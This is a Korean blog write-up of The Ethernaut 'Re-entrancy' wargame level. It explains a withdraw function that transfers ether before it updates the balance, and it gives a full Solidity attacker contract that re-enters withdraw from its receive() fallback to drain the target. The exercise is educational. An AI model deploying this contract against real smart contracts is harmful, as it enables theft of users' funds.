Tyojong
[The Ethernaut] Re-entrancy 본문
문제 설명

코드 분석

_to에게 msg.value만큼 잔액을 추가한다.
또한 payable을 사용해 msg.value만큼의 이더를 컨트랙트에 저장한다.

인자로 받은 사용자의 잔액을 출력한다.

인출 기능이다. 인자로 받은 _amount값이 잔액보다 작거나 같으면
사용자에게 _amount만큼 이더를 전송하고
잔액에서 _amount만큼 차감한다.
익스플로잇

withdraw코드를 확인해보면
잔액을 확인한 후 msg.sender.call을 사용해 이더를 전송한 후 잔액을 차감한다.
잔액이 차감되기 전에 다시 한 번 더 withdraw가 호출된다면 계속해서 돈을 인출할 수 있다.

문제 컨트랙트의 이더를 cast balance 명령어를 이용해 확인해보면 0.001 ether가 들어있는 것을 알 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IReentrancy {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
contract ReentrancyAttack {
address public target;
uint256 public amount;
function attack(address _target) public payable {
target = _target;
amount = msg.value;
IReentrancy(target).donate{value: amount}(address(this));
IReentrancy(target).withdraw(amount);
}
receive() external payable {
if (address(target).balance > 0) {
IReentrancy(target).withdraw(amount);
}
}
}
문제 컨트랙트의 donate함수와 withdraw함수를 인터페이스로 가져와 사용한다.
target과 amount를 전역 변수로 선언하고
attack 함수에는 문제 컨트랙트 주소와 이더를 받고 문제 컨트랙트의 donate함수와 withdraw함수를 호출한다.
receive 함수를 사용해 문제 컨트랙트에서 msg.sender.call로 이더와 함께 호출될 경우
문제 컨트랙트에 이더가 있다면 withdraw를 다시 호출 해 reentrancy공격이 가능하도록 코드를 구성하였다.


컨트랙트 배포 후 0.001이더와 함께 호출하면

문제 컨트랙트의 이더가 모두 빠져나간걸 볼 수 있다.

'web3 > The Ethernaut' 카테고리의 다른 글
| [The Ethernaut] King (2) | 2026.02.03 |
|---|---|
| [The Ethernaut] Vault (0) | 2026.01.28 |
| [The Ethernaut] Force (0) | 2026.01.28 |
| [The Ethernaut] Delegation (0) | 2026.01.27 |
| [The Ethernaut] Token (0) | 2026.01.26 |
